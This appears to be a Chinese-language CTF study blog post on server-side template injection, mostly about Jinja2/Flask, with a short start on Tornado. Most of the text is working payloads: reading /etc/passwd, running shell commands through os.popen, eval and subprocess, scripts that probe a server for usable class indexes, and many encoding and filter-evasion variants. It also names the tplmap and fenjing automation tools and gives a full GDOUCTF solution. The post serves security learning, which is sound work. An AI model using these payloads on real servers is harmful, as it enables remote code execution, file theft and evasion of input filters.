SSTI(模板注入)

前言:

最近在刷ctfshow的ssti的题目,但那些题目都是基于python flask的ssti,并没有其他类型的ssti,而自己对于ssti并没有深入的了解,干脆就借这个机会学习一下各种ssti。(∪。∪)。。。zzz

SSTI简介

SSTI 也称为服务器端模板注入(Server-Side Template Injection),服务端接受用户输入,将其作为 Web 应用模板的一部分,渲染编译后执行了恶意内容,导致敏感信息泄露、代码执行等。SSTI和SQL注入原理有些相似,都是通过将语句闭合,把输入的字符串当成命令执行,产生注入的效果。

服务器模板引擎

模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。

  • 常见的模板引擎有 Java 的 Thymeleaf,Python 的 Flask 等。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

模板注入

SSTI 存在于 MVC 模式当中的 View 层,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

ssti的成因就是将用户的输入的内容直接拼接到模板参数中。具体来说就是框架(如jinja2等)使用渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

如何避免:如果使用一个固定好了的模板,在模板渲染之后传入数据,就不存在模板注入,就好像SQL注入的预编译一样

快速判断模板引擎

每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎来构造相应的注入语句。

可以 fuzz 不同的字符,再通过返回的错误判断。但如果引擎屏蔽错误后,该类当法就失效,可以用下图的方法来简要判断

附表:

tqlmap

自动化工具tplmap:https://github.com/epinna/tplmap

1
python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'

python中的ssti

python常见的模板引擎有:Jinja2,tornado,其中的jinja2在CTF中也经常被拿来考察ssti

Jinja2

fenjing(焚靖)——jinja2 SSTI一把梭

1
python -m fenjing webui

Jinja2是Flask框架的一部分。Jinja2使用 {{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 模板同样支持控制语句,像在 {%…%} 块中,例如常见的使用Jinja2模板引擎for语句循环渲染一组元素:

1
2
3
4
5
<ul>
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
name = request.args.get('name')
template = '''
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, %s !</h3>
</body>
</html>
'''% (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=2222, debug=False)

""""
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run(port=2222)
"""

能看出这里直接将get方法的name变量输出了,render_template函数在渲染模板的时候使用了%s来动态的替换字符串,由于前端是由jinja进行模板渲染的而在jinja中由{{}}`包裹的会被当做变量输出,所以当我们输入`{{7*7}}时就会输出49

传入的name变量,未经任何处理就将其作为Web应用模板内容的一部分,就会导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:

1
2
3
4
5
6
7
8
9
__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
// __base____mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

常用过滤器

官方介绍https://jinja.palletsprojects.com/en/3.0.x/templates/#filters

  1. 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数
  2. 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.

其实就是可以实现一些简单的功能,比如attr()过滤器可以实现代替.,join()可以将字符串进行拼接,reverse可以将字符串反置等等
具体如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
length() # 获取一个序列或者字典的长度并将其返回

int():# 将值转换为int类型;

float():# 将值转换为float类型;

lower():# 将字符串转换为小写;

upper():# 将字符串转换为大写;

reverse():# 反转字符串;

replace(value,old,new): # 将value中的old替换为new

list():# 将变量转换为列表类型;

string():# 将变量转换成字符串类型;

join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): # 获取对象的属性

一般的注入流程:找基类object->找到这个基类的子类集合->找一个我们能够使用的类,要求是这个类的某个方法能够被我们利用->实例化我们找到的类对象->找到这个实例化对象的所有方法->根据方法执行命令或读文件

获取当前类

获取基类需要先获取当前类,可以通过__class__来获取

1
name={{"".__class__}}

这里可以看到空字符串""的当前类为str

这里的点号. 在python中用来访问变量的属性
__class__:类的一个内置属性,返回实例所属的类,在这里表示实例对象空字符串””的类。

同样的也可以用(){}[]、等来找

1
2
3
4
5
''.__class__
{}.__class__
().__class__
[].__class__
request.__class__ //针对jinjia2/flask为[9]适用

获取基类

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类,如果我们能获取到object类,就可以尽大可能地找到可以利用的子类,通过子类中的方法来执行命令等

__mro__ 此属性用于获取类的方法解析顺序(Method Resolution Order),此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

1
name={{"".__class__.__mro__}}

然后取出object

1
name={{"".__class__.__mro__[-1]}}

也可以用:

__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__

1
2
{{"".__class__.__bases__[0]}}
{{"".__class__.__base__}}

获取该基类的子类集合

__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。

该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

1
name={{"".__class__.__mro__[-1].__subclasses__()}}

寻找可用子类及其方法并实例化

以下内容多数直接搬得:https://xz.aliyun.com/t/9584

要求是这个类的某个方法能够被我们利用

__builtins__:以一个集合的形式查看其引用

内建函数

当我们启动一个python解释器时,即时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。

__builtins__ 方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。

__globals__:该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

__import__():该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 __import__() 来动态载入,就是 import。语法:__import__(模块名)

常见可用利用的子类有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
读写文件read()、write():
file //python2
frozen_importlib_external.FileLoader //python3

命令执行:
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize

具体如何使用后面会涉及

实例化我们找到的类对象

__init__ : 初始化类,返回的类型是function,例如:

1
name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}

找到这个实例化对象的所有方法

__globals__ :使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。

1
name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}

最终利用

读写文件

python2–利用file类

假设40指向file类(一般也是40)。payload就是:

1
2
{{[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').readlines()}}

这里将read()改成write()就可以写文件

1
2
3
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} 

python2的str类型不直接从属于属于基类,所以要两次 .__bases__
1
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}

read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

python3–利用<class ‘_frozen_importlib_external.FileLoader’>类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://xxx.xxx.xxx.xxx:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

res = requests.get(url=url, headers=headers)
if 'FileLoader' in res.text:
print(i)

# 得到编号为79

payload:

读文件

1
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}

命令执行

用脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"

res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)

# eval可以替换os.py、

payload

eval:

1
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

os:

1
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}
popen 函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

res = requests.get(url=url, headers=headers)
if 'popen' in res.text:
print(i)

# 得到编号为117
1
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
importlib 类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

res = requests.get(url=url, headers=headers)
if '_frozen_importlib.BuiltinImporter' in res.text:
print(i)

# 得到编号为69
1
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}
linecache 函数:
1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)
1
2
3
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
subprocess.Popen 类:
1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)
1
2
3
{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

# {{[].__class__.__base__.__subclasses__()[245]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}

常见的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{{lipsum.__globals__['os'].popen('env').read()}}
{{lipsum.__globals__.get("os").popen('env').read()}}

{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20/T*').read()")}}
{{lipsum.__globals__['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('cat%20/T*').read()")}}

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

部分参考SSTI入门详解_ssti原理_hahahahaha!的博客

关键字绕过

利用字符串拼接绕过

我们可以利用“+”进行字符串拼接,绕过关键字过滤,例如:

1
2
3
4
5
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}

只要返回的是字典类型的或是字符串格式的,即payload中引号内的,在调用的时候都可以使用字符串拼接绕过。

利用编码绕过

我们可以利用对关键字编码的方法,绕过关键字过滤,例如用base64编码绕过:

1
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

等同于:

1
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13、16进制编码等。

利用Unicode编码绕过关键字(flask适用)

unicode编码绕过是一种网上没提出的方法。

我们可以利用unicode编码的方法,绕过关键字过滤,例如:

1
2
3
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}

等同于:

1
2
3
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
利用Hex编码绕过关键字

和上面那个一样,只不过将Unicode编码换成了Hex编码,适用于过滤了“u”的情况。

我们可以利用hex编码的方法,绕过关键字过滤,例如:

1
2
3
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}

等同于:

1
2
3
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
利用引号绕过

我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl""agfl''ag 的形式来绕过:

1
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()

再如:

1
2
3
().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用引号绕过。

利用join()函数绕过

我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:

1
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

绕过其他字符

过滤了中括号[ ]

利用 __getitem__() 绕过

可以使用 __getitem__() 方法输出序列属性中的某个索引处的元素,如:

1
2
3
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
['__builtins__'].__getitem__('eval')

如下示例:

1
2
3
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}       // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性

利用 pop() 绕过

pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,如下示例:

1
2
3
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}       // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性

注意:最好不要用pop(),因为pop()会删除相应位置的值。

利用字典读取绕过

我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号 [] 里来访问,一种就是用点 . 来访问。所以,当方括号 [] 被过滤之后,我们还可以用点 . 的方式来访问,如下示例

1
2
3
// __builtins__.eval()

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}

等同于:

1
2
3
// [__builtins__]['eval']()

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

过滤了引号

利用chr()绕过

先获取chr()函数,赋值给chr,后面再拼接成一个字符串

1
2
3
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

# {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

等同于

1
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

利用request对象绕过

示例:

1
2
3
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

等同于:

1
2
3
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

如果过滤了args,可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。

过滤了下划线__

利用request对象绕过

1
2
3
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

等同于:

1
2
3
{{().__class__.__bases__[0].__subclasses__().pop(40)('/flag').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

过滤了点 .

利用 |attr() 绕过(适用于flask)

如果 . 也被过滤,且目标是JinJa2(flask)的话,可以使用原生JinJa2函数attr(),即:

1
().__class__   =>  ()|attr("__class__")

示例:

1
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}

等同于:

1
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用中括号[ ]绕过

如下示例:

1
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

等同于:

1
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
1
这样的话,那么 `__class__`、`__bases__` 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。

过滤了大括号

1
2
我们可以用Jinja2的 {%...%}语句装载一个循环控制语句来绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
1
2
3
也可以使用 `{% if ... %}1{% endif %}` 配合 `os.popen` 和 `curl` 将执行结果外带(不外带的话无回显)出来:

{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}
1
2
3
也可以用 `{%print(......)%}` 的形式来代替 `{{` ,如下:

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

利用 |attr() 来Bypass

这里说一个新东西,就是原生JinJa2函数 attr(),这是一个 attr() 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。如:

1
foo|attr("bar")   等同于   foo["bar"]

|attr() 配合其他姿势可同时绕过双下划线 __ 、引号、点 .[ 等,下面给出示例。

同时过滤了 . 和 []

过滤了以下字符:

1
.    [

绕过姿势:

1
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

等同于:

1
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

同时过滤了 __ 、点. 和 []

过滤了以下字符:

1
__    .    [    "

下面我们演示绕过姿势,先写出payload的原型:

1
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

由于中括号 [ 被过滤了,我们可以用 __getitem__() 来绕过(尽量不要用pop()),类似如下:

1
{{().__class__.__base__.__subclasses__().__getitem__(77).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}

由于还过滤了下划线 __,我们可以用request对象绕过,但是还过滤了中括号 [],所以我们要同时绕过 __[,就用到了我们的|attr()

所以最终的payload如下:

1
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()

用Unicode编码配合 |attr() 进行Bypass

过滤了以下字符:

1
'  request  {{  _  %20(空格)  [  ]  .  __globals__   __getitem__
1
我们用 `{%...%}`绕过对 `{{` 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。

假设我们要构造的payload原型为:

1
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

先用 |attr 绕过 .[]

1
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

我们可以将过滤掉的字符用unicode替换掉:

1
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}

用Hex编码配合 |attr() 进行Bypass

和上面那个一样,只不过是将Unicode编码换成了Hex编码,适用于“u”被过滤了的情况。

我们可以将过滤掉的字符用Hex编码替换掉:

1
{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}

使用 JinJa 的过滤器进行Bypass

在 Flask JinJa 中,内只有很多过滤器可以使用,前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器。

详情请看官方文档:https://jinja.palletsprojects.com/en/master/templates/#builtin-filters

以下是内置的所有的过滤器列表:

abs() float() lower() round() tojson()
attr() forceescape() map() safe() trim()
batch() format() max() select() truncate()
capitalize() groupby() min() selectattr() unique()
center() indent() pprint() slice() upper()
default() int() random() sort() urlencode()
dictsort() join() reject() string() urlize()
escape() last() rejectattr() striptags() wordcount()
filesizeformat() length() replace() sum() wordwrap()
first() list() reverse() title() xmlattr()

可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串。

  • 对于获取一般字符的方法有以下几种:
1
2
3
4
5
{% set org = ({ }|select()|string()) %}{{org}}
{% set a=(()|select|string|list)|attr(pop)%}{{a}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

[GDOUCTF 2023]

禁用了_ .\ request pop os popen

1
2
3
4
5
6
{%set p=('p','o','p')|join%} 要用到list列表的pop属性,构造字符串pop
{%set a=(()|select|string|list)|attr(p)(24)%} 构造下划线_
{%set b=(a,a,'globals',a,a,)|join%} 构造字符串__globals__
{%set c=('o','s')|join%} 构造字符串os
{%set d=('p','o','p','e','n')|join%} 构造字符串popen
{%print((((lipsum|attr(b))|attr('get')(c))|attr(d)('cat /f*'))|attr('read')())%} 构造 lipsum|attr("__globals__").get("os").popen("cat /f*").read()

然后url编码

也可以使用fenjing

tornado

Tornado 和主流Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,

1
而且还可以通过{{}}进行传递变量和执行简单的表达式。

